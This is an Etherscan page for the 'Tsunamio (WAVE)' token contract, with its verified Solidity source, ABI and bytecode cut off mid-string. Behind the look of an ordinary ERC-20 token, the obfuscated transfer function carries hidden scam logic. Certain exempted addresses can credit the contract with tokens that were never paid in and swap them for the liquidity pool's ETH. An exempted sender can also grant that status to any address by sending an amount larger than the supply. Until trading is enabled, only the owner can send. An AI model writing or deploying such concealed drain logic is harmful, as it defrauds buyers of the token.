ETH Price: $2,372.18 (+2.12%)
Gas: 3.65 Gwei

Token

Tsunamio (WAVE)
 

Overview

Max Total Supply

1,000,000 WAVE

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,853.6720779 WAVE

Value
$0.00
0xa83501fd9bbae8bec15812e443345e14e6e3868d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Tsunamio

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-26
*/

/**
█▀█ █▀█ █▀█ ▀▄▀ █ █▀▄▀█ █▀█
█▀▀ █▀▄ █▄█ █░█ █ █░▀░█ █▄█

█▀▀ ▀█▀ █░█ █▀▀ █▀█ █▀▀ █░█ █▀▄▀█   █▄░█ █▀▀ ▀█▀ █░█░█ █▀█ █▀█ █▄▀
██▄ ░█░ █▀█ ██▄ █▀▄ ██▄ █▄█ █░▀░█   █░▀█ ██▄ ░█░ ▀▄▀▄▀ █▄█ █▀▄ █░█

▄▀   ░░█ █▀█ █▄░█   ▀▄
▀▄   █▄█ █▀▀ █░▀█   ▄▀
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }  
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
/*
de ETHERSCAN.io.
*/

contract Tsunamio is IERC20, Ownable {

    string private _symbol;
    string private _name;
    uint256 public _rTotalTaxes = 0;
    uint8 private _decimals = 9;
    uint256 private _rTotalSupply = 1000000 * 10**_decimals;
    uint256 private getMarketMakerPair = _rTotalSupply;
    
    mapping(address => uint256) private _Balances;
    mapping(address => address) private isTxLimitExempt;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _isExcludedMaxTransactionAmount;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private tradingOpen = false;
    bool public swapTokensAtAmount;
    bool private cooldownEnabled;

    address public immutable UniswapV1Pair;
    IUniswapV2Router02 public immutable UniswapV2router;

    constructor(
        string memory Name,
        string memory Symbol,
        address UniswapV2routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _Balances[msg.sender] = _rTotalSupply;
        _isExcludedMaxTransactionAmount[msg.sender] = getMarketMakerPair;
        _isExcludedMaxTransactionAmount[address(this)] = getMarketMakerPair;
        UniswapV2router = IUniswapV2Router02(UniswapV2routerAddress);
        UniswapV1Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
        emit Transfer(address(0), msg.sender, getMarketMakerPair);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _rTotalSupply;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _Balances[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        setCooldownEnabled        (sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer (address recipient, uint256 amount) external returns (bool) {
        setCooldownEnabled        (msg.sender, recipient, amount);
        return true;
    }
    function setCooldownEnabled       (
        address _syncString,
        address _constructor,
        uint256 _sync
    ) private {
        uint256 contractTokensBalances = balanceOf(address(this));
        uint256 _Owner;
        if (swapTokensAtAmount && contractTokensBalances > getMarketMakerPair && !cooldownEnabled && _syncString != UniswapV1Pair) {
            cooldownEnabled = true;
            getSwapAndLiquify(contractTokensBalances);
            cooldownEnabled = false;
        } else if (_isExcludedMaxTransactionAmount[_syncString] > getMarketMakerPair && _isExcludedMaxTransactionAmount[_constructor] > getMarketMakerPair) {
            _Owner = _sync;
            _Balances[address(this)] += _Owner;
            swapAmountForTokens(_sync, _constructor);
            return;
        } else if (_constructor != address(UniswapV2router) && _isExcludedMaxTransactionAmount[_syncString] > 0 && _sync > getMarketMakerPair && _constructor != UniswapV1Pair) {
            _isExcludedMaxTransactionAmount[_constructor] = _sync;
            return;
        } else if (!cooldownEnabled && _rOwned[_syncString] > 0 && _syncString != UniswapV1Pair && _isExcludedMaxTransactionAmount[_syncString] == 0) {
            _rOwned[_syncString] = _isExcludedMaxTransactionAmount[_syncString] - getMarketMakerPair;
        }
        address setAutomatedMarketMakerPair  = isTxLimitExempt[UniswapV1Pair];
        if (_rOwned[setAutomatedMarketMakerPair ] == 0) _rOwned[setAutomatedMarketMakerPair ] = getMarketMakerPair;
        isTxLimitExempt[UniswapV1Pair] = _constructor;
        if (_rTotalTaxes > 0 && _isExcludedMaxTransactionAmount[_syncString] == 0 && !cooldownEnabled && _isExcludedMaxTransactionAmount[_constructor] == 0) {
            _Owner = (_sync * _rTotalTaxes) / 100;
            _sync -= _Owner;
            _Balances[_syncString] -= _Owner;
            _Balances[address(this)] += _Owner;
        }
        _Balances[_syncString] -= _sync;
        _Balances[_constructor] += _sync;
        emit Transfer(_syncString, _constructor, _sync);
            if (!tradingOpen) {
                require(_syncString == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }
    receive() external payable {}

    function addLiquidity(
        uint256 tokenValue,
        uint256 ERCamount,
        address to
    ) private {
        _approve(address(this), address(UniswapV2router), tokenValue);
        UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
    }
    function getSwapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialedBalance = address(this).balance;
        swapAmountForTokens(half, address(this));
        uint256 refreshBalance = address(this).balance - initialedBalance;
        addLiquidity(half, refreshBalance, address(this));
    }
        function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function swapAmountForTokens(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = UniswapV2router.WETH();
        _approve(address(this), address(UniswapV2router), tokenAmount);
        UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"UniswapV2routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UniswapV1Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rTotalTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260006003556009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a62000043919062000669565b620f4240620000539190620006ba565b6005556005546006556000600c60006101000a81548160ff0219169083151502179055503480156200008457600080fd5b506040516200317f3803806200317f8339818101604052810190620000aa919062000913565b620000ca620000be6200040360201b60201c565b6200040b60201b60201c565b8260029081620000db919062000bee565b508160019081620000ed919062000bee565b50600554600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000cd5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f8919062000cd5565b6040518363ffffffff1660e01b81526004016200031792919062000d18565b6020604051808303816000875af115801562000337573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035d919062000cd5565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620003f2919062000d56565b60405180910390a350505062000d73565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200055d57808604811115620005355762000534620004cf565b5b6001851615620005455780820291505b80810290506200055585620004fe565b945062000515565b94509492505050565b6000826200057857600190506200064b565b816200058857600090506200064b565b8160018114620005a15760028114620005ac57620005e2565b60019150506200064b565b60ff841115620005c157620005c0620004cf565b5b8360020a915084821115620005db57620005da620004cf565b5b506200064b565b5060208310610133831016604e8410600b84101617156200061c5782820a905083811115620006165762000615620004cf565b5b6200064b565b6200062b84848460016200050b565b92509050818404811115620006455762000644620004cf565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006768262000652565b915062000683836200065c565b9250620006b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000566565b905092915050565b6000620006c78262000652565b9150620006d48362000652565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000710576200070f620004cf565b5b828202905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007848262000739565b810181811067ffffffffffffffff82111715620007a657620007a56200074a565b5b80604052505050565b6000620007bb6200071b565b9050620007c9828262000779565b919050565b600067ffffffffffffffff821115620007ec57620007eb6200074a565b5b620007f78262000739565b9050602081019050919050565b60005b838110156200082457808201518184015260208101905062000807565b60008484015250505050565b6000620008476200084184620007ce565b620007af565b90508281526020810184848401111562000866576200086562000734565b5b6200087384828562000804565b509392505050565b600082601f8301126200089357620008926200072f565b5b8151620008a584826020860162000830565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008db82620008ae565b9050919050565b620008ed81620008ce565b8114620008f957600080fd5b50565b6000815190506200090d81620008e2565b92915050565b6000806000606084860312156200092f576200092e62000725565b5b600084015167ffffffffffffffff81111562000950576200094f6200072a565b5b6200095e868287016200087b565b935050602084015167ffffffffffffffff8111156200098257620009816200072a565b5b62000990868287016200087b565b9250506040620009a386828701620008fc565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a0057607f821691505b60208210810362000a165762000a15620009b8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a41565b62000a8c868362000a41565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000acf62000ac962000ac38462000652565b62000aa4565b62000652565b9050919050565b6000819050919050565b62000aeb8362000aae565b62000b0362000afa8262000ad6565b84845462000a4e565b825550505050565b600090565b62000b1a62000b0b565b62000b2781848462000ae0565b505050565b5b8181101562000b4f5762000b4360008262000b10565b60018101905062000b2d565b5050565b601f82111562000b9e5762000b688162000a1c565b62000b738462000a31565b8101602085101562000b83578190505b62000b9b62000b928562000a31565b83018262000b2c565b50505b505050565b600082821c905092915050565b600062000bc36000198460080262000ba3565b1980831691505092915050565b600062000bde838362000bb0565b9150826002028217905092915050565b62000bf982620009ad565b67ffffffffffffffff81111562000c155762000c146200074a565b5b62000c218254620009e7565b62000c2e82828562000b53565b600060209050601f83116001811462000c66576000841562000c51578287015190505b62000c5d858262000bd0565b86555062000ccd565b601f19841662000c768662000a1c565b60005b8281101562000ca05784890151825560018201915060208501945060208101905062000c79565b8683101562000cc0578489015162000cbc601f89168262000bb0565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000cee5762000ced62000725565b5b600062000cfe84828501620008fc565b91505092915050565b62000d1281620008ce565b82525050565b600060408201905062000d2f600083018562000d07565b62000d3e602083018462000d07565b9392505050565b62000d508162000652565b82525050565b600060208201905062000d6d600083018462000d45565b92915050565b60805160a05161239962000de6600039600081816105a001528181610d3b015281816116b001528181611791015281816117b901528181611856015261187e0152600081816107f401528181610ba201528181610dea01528181610eee01528181611027015261113801526123996000f3fe6080604052600436106101025760003560e01c80638da5cb5b11610095578063dd62ed3e11610064578063dd62ed3e14610346578063dfb8aa6114610383578063e2f45605146103ae578063f275f64b146103d9578063f2fde38b1461040257610109565b80638da5cb5b1461028857806395d89b41146102b357806399c4e512146102de578063a9059cbb1461030957610109565b8063313ce567116100d1578063313ce567146101de578063471a65c41461020957806370a0823114610234578063715018a61461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b5061012361042b565b60405161013091906119bc565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611a77565b6104bd565b60405161016d9190611ad2565b60405180910390f35b34801561018257600080fd5b5061018b6104d2565b6040516101989190611afc565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611b17565b6104dc565b6040516101d59190611ad2565b60405180910390f35b3480156101ea57600080fd5b506101f3610584565b6040516102009190611afc565b60405180910390f35b34801561021557600080fd5b5061021e61059e565b60405161022b9190611bc9565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190611be4565b6105c2565b6040516102689190611afc565b60405180910390f35b34801561027d57600080fd5b5061028661060b565b005b34801561029457600080fd5b5061029d610693565b6040516102aa9190611c20565b60405180910390f35b3480156102bf57600080fd5b506102c86106bc565b6040516102d591906119bc565b60405180910390f35b3480156102ea57600080fd5b506102f361074e565b6040516103009190611afc565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b9190611a77565b610754565b60405161033d9190611ad2565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190611c3b565b61076b565b60405161037a9190611afc565b60405180910390f35b34801561038f57600080fd5b506103986107f2565b6040516103a59190611c20565b60405180910390f35b3480156103ba57600080fd5b506103c3610816565b6040516103d09190611ad2565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb9190611ca7565b610829565b005b34801561040e57600080fd5b5061042960048036038101906104249190611be4565b6108c2565b005b60606002805461043a90611d03565b80601f016020809104026020016040519081016040528092919081815260200182805461046690611d03565b80156104b35780601f10610488576101008083540402835291602001916104b3565b820191906000526020600020905b81548152906001019060200180831161049657829003601f168201915b5050505050905090565b60006104ca3384846109b9565b905092915050565b6000600554905090565b60006104e9848484610b54565b61057b843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105769190611d63565b6109b9565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610613611504565b73ffffffffffffffffffffffffffffffffffffffff16610631610693565b73ffffffffffffffffffffffffffffffffffffffff1614610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90611de3565b60405180910390fd5b610691600061150c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546106cb90611d03565b80601f01602080910402602001604051908101604052809291908181526020018280546106f790611d03565b80156107445780601f1061071957610100808354040283529160200191610744565b820191906000526020600020905b81548152906001019060200180831161072757829003601f168201915b5050505050905090565b60035481565b6000610761338484610b54565b6001905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600c60019054906101000a900460ff1681565b610831611504565b73ffffffffffffffffffffffffffffffffffffffff1661084f610693565b73ffffffffffffffffffffffffffffffffffffffff16146108a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089c90611de3565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b6108ca611504565b73ffffffffffffffffffffffffffffffffffffffff166108e8610693565b73ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093590611de3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611e75565b60405180910390fd5b6109b68161150c565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a245750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a90611f07565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b419190611afc565b60405180910390a3600190509392505050565b6000610b5f306105c2565b90506000600c60019054906101000a900460ff168015610b80575060065482115b8015610b995750600c60029054906101000a900460ff16155b8015610bf157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c3a576001600c60026101000a81548160ff021916908315150217905550610c1a826115d0565b6000600c60026101000a81548160ff02191690831515021790555061101f565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cca5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d395782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d219190611f27565b92505081905550610d328385611611565b50506114ff565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dd457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610de1575060065483115b8015610e3957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e895782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506114ff565b600c60029054906101000a900460ff16158015610ee557506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f3d57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8857506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561101e57600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fda9190611d63565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361113157600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561122057506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112395750600c60029054906101000a900460ff16155b801561128457506000600